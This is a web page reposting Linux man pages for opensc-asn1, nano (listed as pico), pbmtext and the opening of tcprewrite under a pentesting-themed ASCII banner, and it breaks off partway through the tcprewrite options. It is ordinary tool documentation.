  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

415 - Linux cli command opensc-asn1

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command opensc-asn1 and provides detailed information about the command opensc-asn1, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the opensc-asn1.

NAME 🖥️ opensc-asn1 🖥️

asn1 - parse ASN.1 data

SYNOPSIS

opensc-asn1 [OPTIONS] [FILES]

DESCRIPTION

The opensc-asn1 utility is used to parse ASN.1 data.

OPTIONS

–help, -h

Print help and exit.

–version, -V

Print version and exit.

AUTHORS

opensc-asn1 was written by Frank Morgner <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

416 - Linux cli command pico

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pico and provides detailed information about the command pico, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pico.

NAME 🖥️ pico 🖥️

Nano’s ANOther text editor, inspired by Pico

SYNOPSIS

nano [options] [[**+line[,**column]] file]…

nano [options] [[+[crCR]{/|?}string] file]…

NOTICE

Since version 8.0, to be newcomer friendly, ^F starts a forward search, ^B starts a backward search, M-F searches the next occurrence forward, and M-B searches the next occurrence backward. If you want those keystrokes to do what they did before version 8.0, add the following lines at the end of your nanorc file:

bind ^F forward main
bind ^B back main
bind M-F formatter main
bind M-B linter main

DESCRIPTION

nano is a small and friendly text editor. It copies the look and feel of Pico, but is free software, and implements several features that Pico lacks, such as: opening multiple files, scrolling per line, undo/redo, syntax coloring, line numbering, and soft-wrapping overlong lines.

When giving a filename on the command line, the cursor can be put on a specific line by adding the line number with a plus sign (+) before the filename, and even in a specific column by adding it with a comma. Negative numbers count from the end of the file or line.

The cursor can be put on the first or last occurrence of a specific string by specifying that string after +/ or +? before the filename. The string can be made case sensitive and/or caused to be interpreted as a regular expression by inserting c and/or r after the + sign. These search modes can be explicitly disabled by using the uppercase variant of those letters: C and/or R. When the string contains spaces, it needs to be enclosed in quotes. To give an example: to open a file at the first occurrence of the word “Foo”, you would do:

**nano +c/Foo **file

As a special case: if instead of a filename a dash (-) is given, nano will read data from standard input.

EDITING

Entering text and moving around in a file is straightforward: typing the letters and using the normal cursor movement keys. Commands are entered by using the Control (^) and the Alt or Meta (M-) keys. Typing ^K deletes the current line and puts it in the cutbuffer. Consecutive ^Ks put all deleted lines together in the cutbuffer. Any cursor movement or executing any other command causes the next ^K to overwrite the cutbuffer. A ^U pastes the current contents of the cutbuffer at the current cursor position.

When a more precise piece of text needs to be cut or copied, you can mark its start with ^6, move the cursor to its end (the marked text is highlighted), and then use ^K to cut it, or M-6 to copy it to the cutbuffer. You can also save the marked text to a file with ^O, or spell check it with ^T^T.

On some terminals, text can be selected also by holding down Shift while using the arrow keys. Holding down the Ctrl or Alt key too increases the stride. Any cursor movement without Shift being held cancels such a selection.

Any valid Unicode code point can be inserted into the buffer by typing M-V followed by the hexadecimal digits of the code point (concluded with <Space> or <Enter> when it are fewer than six digits). A literal control code (except ^J) can be inserted by typing M-V followed by the pertinent keystroke.

The two lines at the bottom of the screen show some important commands; the built-in help (^G) lists all the available ones. The default key bindings can be changed via a nanorc file – see nanorc(5).

OPTIONS

-A, –smarthome
Make the Home key smarter. When Home is pressed anywhere but at the very beginning of non-whitespace characters on a line, the cursor jumps to that beginning (either forwards or backwards). If the cursor is already at that position, it jumps to the true beginning of the line.

-B, –backup
When saving a file, back up the previous version of it, using the current filename suffixed with a tilde (~).

-C directory, –backupdir=directory
Make and keep not just one backup file, but make and keep a uniquely numbered one every time a file is saved – when backups are enabled (
-B
). The uniquely numbered files are stored in the specified directory.

-D, –boldtext
For the interface, use bold instead of reverse video. This can be overridden for specific elements by setting the options titlecolor, statuscolor, promptcolor, minicolor, keycolor, numbercolor, and/or selectedcolor in your nanorc file. See nanorc(5).

-E, –tabstospaces
Convert each typed tab to spaces – to the number of spaces that a tab at that position would take up. (Note: pasted tabs are not converted.)

-F, –multibuffer
Read a file into a new buffer by default.

-G, –locking
Use vim-style file locking when editing files.

-H, –historylog
Save the last hundred search strings and replacement strings and executed commands, so they can be easily reused in later sessions.

-I, –ignorercfiles
Don’t look at the system’s nanorc nor at the user’s nanorc.

-J number, **–guidestripe=**number
Draw a vertical stripe at the given column, to help judge the width of the text. (The color of the stripe can be changed with set stripecolor in your nanorc file.)

-K, –rawsequences
Interpret escape sequences directly, instead of asking ncurses to translate them. (If you need this option to get some keys to work properly, it means that the terminfo terminal description that is used does not fully match the actual behavior of your terminal. This can happen when you ssh into a BSD machine, for example.) Using this option disables nano’s mouse support.

-L, –nonewlines
Don’t automatically add a newline when a text does not end with one. (This can cause you to save non-POSIX text files.)

-M, –trimblanks
Snip trailing whitespace from the wrapped line when automatic hard-wrapping occurs or when text is justified.

-N, –noconvert
Disable automatic conversion of files from DOS/Mac format.

-O, –bookstyle
When justifying, treat any line that starts with whitespace as the beginning of a paragraph (unless auto-indenting is on).

-P, –positionlog
For the 200 most recent files, log the last position of the cursor, and place it at that position again upon reopening such a file.

-Q “regex”****, –quotestr="regex"""
Set the regular expression for matching the quoting part of a line. The default value is “^([ ]*([!#%:;>|}]|//))+”. (Note that ** ** stands for an actual Tab.) This makes it possible to rejustify blocks of quoted text when composing email, and to rewrap blocks of line comments when writing source code.

-R, –restricted
Restricted mode: don’t read or write to any file not specified on the command line. This means: don’t read or write history files; don’t allow suspending; don’t allow spell checking; don’t allow a file to be appended to, prepended to, or saved under a different name if it already has one; and don’t make backup files. Restricted mode can also be activated by invoking nano with any name beginning with ‘r’ (e.g. “rnano”).

-S, –softwrap
Display over multiple screen rows lines that exceed the screen’s width. (You can make this soft-wrapping occur at whitespace instead of rudely at the screen’s edge, by using also –atblanks.)

-T number, **–tabsize=**number
Set the size (width) of a tab to number columns. The value of number must be greater than 0. The default value is 8.

-U, –quickblank
Make status-bar messages disappear after 1 keystroke instead of after 20. Note that option -c (–constantshow) overrides this. When option –minibar or –zero is in effect, –quickblank makes a message disappear after 0.8 seconds instead of after the default 1.5 seconds.

-V, –version
Show the current version number and exit.

-W, –wordbounds
Detect word boundaries differently by treating punctuation characters as part of a word.

-X “characters”****, –wordchars="characters"""
Specify which other characters (besides the normal alphanumeric ones) should be considered as part of a word. When using this option, you probably want to omit -W (–wordbounds).

-Y name, **–syntax=**name
Specify the name of the syntax highlighting to use from among the ones defined in the nanorc files.

-Z, –zap
Let an unmodified Backspace or Delete erase the marked region (instead of a single character, and without affecting the cutbuffer).

-a, –atblanks
When doing soft line wrapping, wrap lines at whitespace instead of always at the edge of the screen.

-b, –breaklonglines
Automatically hard-wrap the current line when it becomes overlong. (This option is the opposite of -w (–nowrap) – the last one given takes effect.)

-c, –constantshow
Constantly show the cursor position on the status bar. Note that this overrides option -U (–quickblank).

-d, –rebinddelete
Interpret the Delete and Backspace keys differently so that both Backspace and Delete work properly. You should only use this option when on your system either Backspace acts like Delete or Delete acts like Backspace.

-e, –emptyline
Do not use the line below the title bar, leaving it entirely blank.

-f file, **–rcfile=**file
Read only this file for setting nano’s options, instead of reading both the system-wide and the user’s nanorc files.

-g, –showcursor
Make the cursor visible in the file browser (putting it on the highlighted item) and in the help viewer. Useful for braille users and people with poor vision.

-h, –help
Show a summary of the available command-line options and exit.

-i, –autoindent
Automatically indent a newly created line to the same number of tabs and/or spaces as the previous line (or as the next line if the previous line is the beginning of a paragraph).

-j, –jumpyscrolling
Scroll the buffer contents per half-screen instead of per line.

-k, –cutfromcursor
Make the ‘Cut Text’ command (normally ^K) cut from the current cursor position to the end of the line, instead of cutting the entire line.

-l, –linenumbers
Display line numbers to the left of the text area. (Any line with an anchor additionally gets a mark in the margin.)

-m, –mouse
Enable mouse support, if available for your system. When enabled, mouse clicks can be used to place the cursor, set the mark (with a double click), and execute shortcuts. The mouse works in the X Window System, and on the console when gpm is running. Text can still be selected through dragging by holding down the Shift key.

-n, –noread
Treat any name given on the command line as a new file. This allows nano to write to named pipes: it starts with a blank buffer, and writes to the pipe when the user saves the “file”. This way nano can be used as an editor in combination with for instance gpg without having to write sensitive data to disk first.

-o directory, **–operatingdir=**directory
Set the operating directory. This makes nano set up something similar to a chroot.

-p, –preserve
Preserve the XOFF and XON sequences (^S and ^Q) so that they are caught by the terminal (stopping and resuming the output). Note that option -/ (–modernbindings) overrides this.

-q, –indicator
Display a “scrollbar” on the righthand side of the edit window. It shows the position of the viewport in the buffer and how much of the buffer is covered by the viewport.

-r number, **–fill=**number
Set the target width for justifying and automatic hard-wrapping at this number of columns. If the value is 0 or less, wrapping occurs at the width of the screen minus number columns, allowing the wrap point to vary along with the width of the screen if the screen is resized. The default value is -8.

-s “program [argument …]”**, –speller="program [argument …]"**
Use this command to perform spell checking and correcting, instead of using the built-in corrector that calls hunspell(1) or spell(1).

-t, –saveonexit
Save a changed buffer without prompting (when exiting with ^X).

-u, –unix
Save a file by default in Unix format. This overrides nano’s default behavior of saving a file in the format that it had. (This option has no effect when you also use –noconvert.)

-v, –view
Just view the file and disallow editing: read-only mode. This mode allows the user to open also other files for viewing, unless –restricted is given too.

-w, –nowrap
Do not automatically hard-wrap the current line when it becomes overlong. This is the default. (This option is the opposite of -b (–breaklonglines) – the last one given takes effect.)

-x, –nohelp
Don’t show the two help lines at the bottom of the screen.

-y, –afterends
Make Ctrl+Right and Ctrl+Delete stop at word ends instead of beginnings.

-z, –listsyntaxes
List the names of the available syntaxes and exit.

-!, –magic
When neither the file’s name nor its first line give a clue, try using libmagic to determine the applicable syntax.

-@, –colonparsing
When a filename given on the command line ends in a colon plus digits and this filename does not exist, then snip the colon plus digits and understand the digits as a line number. If the trimmed filename does not exist either, then repeat the process and understand the obtained two numbers as line and column number. But if the doubly trimmed filename does not exist either, then forget the trimming and accept the original filename as is. To disable this colon parsing for some file, use +1 or similar before the relevant filename.

-%, –stateflags
Use the top-right corner of the screen for showing some state flags: I when auto-indenting, M when the mark is on, L when hard-wrapping (breaking long lines), R when recording a macro, and S when soft-wrapping. When the buffer is modified, a star (*) is shown after the filename in the center of the title bar.

-_, –minibar
Suppress the title bar and instead show information about the current buffer at the bottom of the screen, in the space for the status bar. In this “mini bar” the filename is shown on the left, followed by an asterisk if the buffer has been modified. On the right are displayed the current line and column number, the code of the character under the cursor (in Unicode format: U+xxxx), the same flags as are shown by –stateflags, and a percentage that expresses how far the cursor is into the file (linewise). When a file is loaded or saved, and also when switching between buffers, the number of lines in the buffer is displayed after the filename. This number is cleared upon the next keystroke, or replaced with an [i/n] counter when multiple buffers are open. The line plus column numbers and the character code are displayed only when –constantshow is used, and can be toggled on and off with M-C. The state flags are displayed only when –stateflags is used.

-0, –zero
Hide all elements of the interface (title bar, status bar, and help lines) and use all rows of the terminal for showing the contents of the buffer. The status bar appears only when there is a significant message, and disappears after 1.5 seconds or upon the next keystroke. With M-Z the title bar plus status bar can be toggled. With M-X the help lines.

-/, –modernbindings
Use key bindings similar to the ones that most modern programs use: ^X cuts, ^C copies, ^V pastes, ^Z undoes, ^Y redoes, ^F searches forward, ^G searches next, ^S saves, ^O opens a file, ^Q quits, and (when the terminal permits) ^H shows help. Furthermore, ^A sets the mark, ^R makes replacements, ^D searches previous, ^P shows the position, ^T goes to a line, ^W writes out a file, and ^E executes a command. Note that this overrides option -p (–preserve).

TOGGLES

Several of the above options can be switched on and off also while nano is running. For example, M-L toggles the hard-wrapping of long lines, M-S toggles soft-wrapping, M-N toggles line numbers, M-M toggles the mouse, M-I auto-indentation, and M-X the help lines. See at the end of the ^G help text for a complete list.

The M-X toggle is special: it works in all menus except the help viewer and the linter. All other toggles work in the main menu only.

FILES

When –rcfile is given, nano reads just the specified file for setting its options and syntaxes and key bindings. Without that option, nano reads two configuration files: first the system’s nanorc (if it exists), and then the user’s nanorc (if it exists), either ~/.nanorc or $XDG_CONFIG_HOME/nano/nanorc or ~/.config/nano/nanorc, whichever is encountered first. See nanorc(5) for more information on the possible contents of those files.

See /usr/share/nano/ and /usr/share/nano/extra/ for available syntax-coloring definitions.

NOTES

Suspension is enabled by default, reachable via ^T^Z. (If you want a plain ^Z to suspend nano, add bind ^Z suspend main to your nanorc.)

When you want to copy marked text from nano to the system’s clipboard, see one of the examples in the nanorc(5) man page.

If no alternative spell checker command is specified on the command line nor in one of the nanorc files, nano checks the SPELL environment variable for one.

In some cases nano tries to dump the buffer into an emergency file. This happens mainly if nano receives a SIGHUP or SIGTERM or runs out of memory. It writes the buffer into a file named nano.save if the buffer didn’t have a name already, or adds a “.save” suffix to the current filename. If an emergency file with that name already exists in the current directory, it adds “.save” plus a number (e.g. “.save.1”) to the current filename in order to make it unique. In multibuffer mode, nano writes all open buffers to their respective emergency files.

If you have any question about how to use nano in some specific situation, you can ask on [email protected].

BUGS

The recording and playback of keyboard macros works correctly only on a terminal emulator, not on a Linux console (VT), because the latter does not by default distinguish modified from unmodified arrow keys.

Please report any other bugs that you encounter via:
https://savannah.gnu.org/bugs/?group=nano.

When nano crashes, it saves any modified buffers to emergency .save files. If you are able to reproduce the crash and you want to get a backtrace, define the environment variable NANO_NOCATCH.

HOMEPAGE

https://nano-editor.org/

SEE ALSO

nanorc(5)

/usr/share/doc/nano/ (or equivalent on your system)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

417 - Linux cli command pbmtext

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtext and provides detailed information about the command pbmtext, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtext.

.

NAME 🖥️ pbmtext 🖥️

render text into a PBM image

SYNOPSIS

pbmtext [-wchar] [-font fontfile] [-builtin fontname] [-space pixels] [-lspace pixels] [-nomargins] [-width pixels] [-load-entire-font] [-verbose] [-dry-run] [-text-dump] [text]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pbmtext takes the specified text, either a single line from the command line or multiple lines from standard input, and renders it into a PBM graphical image.

The text rendered is all the non-option command line arguments, separated by spaces, except that if there are no non-option command line arguments, it is Standard Input.

In the image, each line of input is a line of output. Lines are delimited by newline characters.

The program renders any character in an input line that is not in the font as a space. Note that control characters usually aren’t in the font, but some fonts have glyphs for them. The newline characters that delimit lines in of Standard Input are not in any line.

Tab characters are rendered as a number of spaces; any entry in the font for the tab code point is irrelevant. The number of spaces is such as to create tab stops every 8 characters. Note that this is not useful if the font is proportional.

The image is just wide enough for the longest line of text, plus margins, and just high enough to contain the lines of text, plus margins.

The left and right margins are twice the width of the widest character in the font; the top and bottom margins are the height of the tallest character in the font. But if the text is only one line, all the margins are half of this. You can use the -nomargins option to eliminate the margins.

pbmtext renders left to right. It cannot render vertically or right to left.

pbmtextps does the same thing as pbmtext, but uses Ghostscript to generate the characters, which means you can use Postscript fonts. But it also means you have to have Ghostscript installed and it isn’t as fast. Also, pbmtextps generates only one line of text, whereas pbmtext can create multiple lines.

pbmtext is meant for simple text. If you’re working with a document, you would be better off using a document formatting program to “print” to a Postscript file, then feeding that Postscript to pstopnm.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtext recognizes the following command line options:

-wchar
By default, pbmtext takes a single-byte character stream as input. When you specify -wchar, it treats input text as a multibyte character stream encoded according to the current locale. Normally, the user would supply a BDF font file encoded in ISO-10646-1 with a -font option.

With -wchar, you cannot supply the text on the command line; it must be fed from standard input.

This option was new in Netpbm 10.82 (March 2018).

-font
-builtin
-builtin selects a font among those built into Netpbm.

-font selects a font that you supply yourself either as an X Window System BDF (Bitmap Distribution Format) file or as a PBM file in a special form.

The default is the built in font “bdf.”

“bdf” is Times-Roman 15 pixels high. (That’s about 14 point type printed at 75 dpi).

“fixed” is a built in fixed width font.

For information about other fonts, and how to make one of your own, see Fonts below.

-space pixels
Add pixels pixels of space between characters. This is in addition to whatever space surrounding characters is built into the font, which is usually enough to produce a reasonable string of text.

pixels may be fractional, in which case the number of pixels added varies so as to achieve the specified average. For example -space=1.5 causes half the spaces to be 1 pixel and half to be 2 pixels.

pixels may be negative to crowd text together, but the author has not put much thought or testing into how this works in every possible case, so it might cause disastrous results.

-lspace pixels
Add pixels pixels of space between lines. This is in addition to whatever space above and below characters is built into the font, which is usually enough to produce a reasonable line spacing.

pixels must be a whole number.

pixels may be negative to crowd lines together, but the author has not put much thought or testing into how this works in every possible case, so it might cause disastrous results.

-nomargins
By default, pbmtext adds margins all around the image as described above. This option causes pbmtext not to add any margins.

Note that there may still be space beyond the edges of the type because a character itself may include space at its edges. To eliminate all surrounding background, so the type touches all four edges of the image, use pnmcrop.

-width pixels
This specifies how much horizontal space the text is supposed to fit into.

If the input is one line, pbmtext breaks it into multiple lines as needed to fit the specified width. It breaks it between characters, but does not pay attention to white space; it may break in the middle of a word and a line may begin or end with white space.

If the input is multiple lines, pbmtext assumes you already have line breaks where they make sense, and pbmtext simply truncates each line as needed to fit the specified width.

-load-entire-font
When you use a BDF font, pbmtext will normally load from the font only the characters needed for your text, not wasting time loading other characters. With this option, pbmtext will instead read the entire font. It won’t make any difference in the rendered output, but it lets you check the integrity of the font file.

This option was new in Netpbm 10.91 (June 2020). Before that, pbmtext always reads the entire font.

-verbose
This makes pbmtext issue informtional messages about its processing.

-dry-run
With this option, instead of outputting an image of the text, pbmtext just writes to Standard Output a message telling the dimensions of the image it would have produced.

You can specify only one of -dry-run and -text-dump.

This option was new in Netpbm 10.75 (June 2016).

-text-dump
This option causes pbmtext just to write to Standard Output the text in ASCII that would be rendered. The output reflects any text formatting, unprintable character substitution, tab expansion, etc. It is for diagnosing problems. This option was new in Netpbm 10.82 (March 2018).

When -wchar is in effect, the output text will be in the encoding specified by the current locale.

You can specify only one of -dry-run and -text-dump.

This option was new in Netpbm 10.82 (March 2018).

USAGE

Often, you want to place text over another image. One way to do this is with ppmlabel. For more flexible (but complex) drawing of text on an image, there is ppmdraw. These do not give you the font options that pbmtext does, though.

Another way is to use pbmtext to create an image containing the text, then use pamcomp to overlay the text image onto your base image. To make only the text (and not the entire rectangle containing it) cover the base image, you will need to give pamcomp a mask, via its -alpha option. You can just use the text image itself as the mask, as long as you also specify the -invert option to pamcomp.

If you want to overlay colored text instead of black, just use ppmchange to change all black pixels to the color of your choice before overlaying the text image. But still use the original black and white image for the transparency mask.

If you want the text at an angle, use pnmrotate on the text image (and transparency mask) before overlaying.

FONTS

There are three kinds of fonts you an use with pbmtext:

  • built in

  • BDF

  • PBM

Built In Fonts

There are two built in fonts: bdf and fixed. You select these fonts with a -builtin option.

bdf is the default when you specify no font information on the command line. The naming reflects the fact that it shares many characteristics of BDF style fonts. When this font was implemented, pbmtext did not have the ability to read arbitrary BDF fonts specified by the -font option. There is no external font file involved.

bdf is encoded in ISO 8859-1 (Latin 1, 8-bit). In addition to English it can handle most West European languages (Spanish, French, German, Swedish …) This set lacks the Euro currency sign.

fixed is ASCII (7-bit) only.

While it is not an error to do so, you should not use the above built-in fonts with -wchar.

BDF Font

BDF is an ancient font format that at one time was standard for the X Window System. Now, you don’t see it very often, but you can find some BDF fonts on the Xfree86 web site.

You can get the full package of the BDF fonts from XFree86 (see above) from the Netpbm web site .

PBM Font

To create a font as a PBM file (to use with the -font option), you just create a PBM image of the text matrix below.

The first step is to display text matrix below on the screen, e.g. in an X11 window.

    M ",/^_[`jpqy| M

    /  !"#$%&'()*+ /
    < ,-./01234567 <
    > 89:;<=>?@ABC >
    @ DEFGHIJKLMNO @
    _ PQRSTUVWXYZ[ _
    { \]^_`abcdefg {
    } hijklmnopqrs }
    ~ tuvwxyz{|}~  ~

    M ",/^_[`jpqy| M

Make sure it’s a fixed width font – This should display as a perfect rectangle.

Also, try to use a simple display program. Pbmtext divides this into a matrix of cells, all the same size, each containing one character, so it is important that whatever you use to display it display with uniform horizontal and vertical spacing. Fancy word processing programs sometimes stretch characters in both directions to fit certain dimensions, and that won’t work. Sometimes a display program scales a font to show a character larger or smaller than its natural size. That too won’t often work because the rounding involved in such scaling causes non-uniform distances between characters.

If you display the text matrix improperly, the usual symptom is that when you try to use the font, pbmtext fails with an error message telling you that the number of lines in the font isn’t divisible by 11, or it can’t find the blank band around the inner rectangle. Sometimes the symptom is that one of the characters displays with a piece of the character that is next to it in the matrix. For example, “l” might display with a little piece of the “m” attached on its right.

Do a screen grab or window dump of that text, using for instance xwd, xgrabsc, or screendump. Convert the result into a pbm file. If necessary, use pamcut to remove anything you grabbed in addition to the text pictured above (or be a wimp and use a graphical editor such as Gimp). Finally, run it through pnmcrop to make sure the edges are right up against the text. pbmtext can figure out the sizes and spacings from that.

There are some historical computer fonts, such as that used by the original IBM PC, in the form that you can screen-grab and turn into a PBM font file available from “Stewart C Russell” (1) . There are fonts with various duodecimal digit glyphs at treisara.deviantart.com .

PBM fonts cannot be used with -wchar.

MULTI-BYTE INPUT

In the past, English text was encoded in 7-bit ASCII. 8-bit and multibyte encodings were needed only for non-English languages. This is not the case today. As of this writing, 90% of all web pages are encoded in UTF-8. While many of them are actually restricted to 7-bit ASCII, which is a subset of UTF-8, English text encoded in UTF-8 commonly employs “66 99” style quotation marks, which do not appear in ASCII.

If your input text is UTF-8, you should use -wchar. You may have to tweak the locale setting. pbmtext recognizes code points up to 65535. This is sufficient for the vast majority of text written in modern languages.

In the default single-byte (or “narrow”) character mode, pbmtext can handle 7-bit and 8-bit character sets. Examples are ASCII, ISO 8859 family, koi8-r/u and VISCII. It is up to the user to supply a BDF file covering the necessary glyphs with the “-font” option. The font file must be in the right encoding.

pbmtext does not inspect the encoding of the font file.

LIMITATIONS

If the text is from Standard Input, no line may be longer than 4999 characters. If one is, the program aborts with an appropriate error message.

If the text is from Standard Input and contains a null character, the results are abnormal. Lines may be truncated, and a single line may be considered multiple lines. Normal text does not contain null characters, so this isn’t a big problem.

TIPS

If you get garbled output, check the input text encoding and font file encoding. When using -wchar, also check the current locale.

To convert the encoding of a text file, use iconv or luit.

To check the encoding of a BDF file, examine the CHARSET_REGISTRY line and the next line, which should be CHARSET_ENCODING:

    $ grep -A1 CHARSET_REGISTRY font-a.bdf
    CHARSET_REGISTRY "ISO8859"
    CHARSET_ENCODING "1"
    
    $ grep -A1 CHARSET_REGISTRY font-b.bdf
    CHARSET_REGISTRY "ISO10646"
    CHARSET_ENCODING "1"

The latter is Unicode. BDF files coded in ISO 16046-1 usually work for Western European languages, because ISO 16046-1 expands ISO 8859-1 (also called “Latin-1”) while maintaining the first 256 code points. ISO 8859-1 itself is a superset of ASCII. Run the above command and verify the necessary glyphs are present.

IMPORTANT: For input text, a different rule applies. If you feed ISO 8859-1 text to pbmtext -wchar set up for UTF-8, the output will be garbled. Unicode provides several encoding schemes and different ones are in effect for input text and font. The difference between Unicode codepoint and the various encodings is a formidable stumbling block; beware of web pages that get the concept wrong.

75% of the BDF files in the font collection available from the Netpbm website are in ISO 10646-1. Many have the Euro sign, Greek letters, etc., but they are placed at code points available to pbmtext only with -wchar.

Before pbmtext had the -wchar option, one often had to produce a BDF file in an 8-bit encoding from a master BDF file encoded in ISO 10646-1.

There are several programs that perform BDF encoding conversion. If you have the X Window System installed, first look for ucs2any. If you don’t, you can download ucs2any.pl from “Unicodefontsandtools for X11” (1) . This website has much useful information on fonts.

Another converter is trbdf, included in the “trscripts” package, available in some GNU/Linux distributions.

BDF files encoded in ISO 8859-2, ISO 8859-7, koi8-r, etc. are available from “ISO8859Alphabet Soup” (1) and its sister page “TheCyrillicCharset Soup” (1) . Though the information is dated, these pages give a good overview of 8-bit character sets.

To convert OTF or TTF font files to BDF, use otf2bdf by Mike Leisher or otftobdf (part of the libotf package, which is part of the m17n project).

SEE ALSO

pbmtextps(1) , pamcut(1) , pnmcrop(1) , pamcomp(1) , ppmchange(1) , pnmrotate(1) , ppmlabel(1) , ppmdraw(1) , pstopnm(1) , pbm(1) , Pango , Cairo

AUTHOR

Copyright (C) 1993 by Jef Poskanzer and George Phillips

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtext.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

418 - Linux cli command tcprewrite

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tcprewrite and provides detailed information about the command tcprewrite, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tcprewrite.

NAME 🖥️ tcprewrite 🖥️

Rewrite the packets in a pcap file.

SYNOPSIS

tcprewrite [-flags] [-flag [value]] [–option-name[[=| ]value]]

All arguments must be options.

DESCRIPTION

Tcprewrite is a tool to rewrite packets stored in pcap(3) file format, such as created by tools such as tcpdump(1) and wireshark(1). Once a pcap file has had it’s packets rewritten, they can be replayed back out on the network using tcpreplay(1).

tcprewrite currently supports reading the following DLT types:

DLT_C_HDLC aka Cisco HDLC

DLT_EN10MB aka Ethernet

DLT_LINUX_SLL aka Linux Cooked Socket

DLT_LINUX_SLL2 aka Linux Cooked Socket v2

DLT_RAW aka RAW IP

DLT_NULL aka BSD Loopback

DLT_LOOP aka OpenBSD Loopback

DLT_IEEE802_11 aka 802.11a/b/g

DLT_IEEE802_11_RADIO aka 802.11a/b/g with Radiotap headers

DLT_JUNIPER_ETHER aka Juniper Encapsulated Ethernet

DLT_PPP_SERIAL aka PPP over Serial

Please see the –dlt option for supported DLT types for writing.

The packet editing features of tcprewrite which distinguish between “client” and “server” traffic requires a tcpprep(1) cache file.

For more details, please see the Tcpreplay Manual at: http://tcpreplay.appneta.com

OPTIONS

Rewrite TCP/UDP ports. This option may appear up to 9999 times.

Specify a list of comma delimited port mappings consisting of colon delimited port number pairs. Each colon delimited port pair consists of the port to match followed by the port number to rewrite.

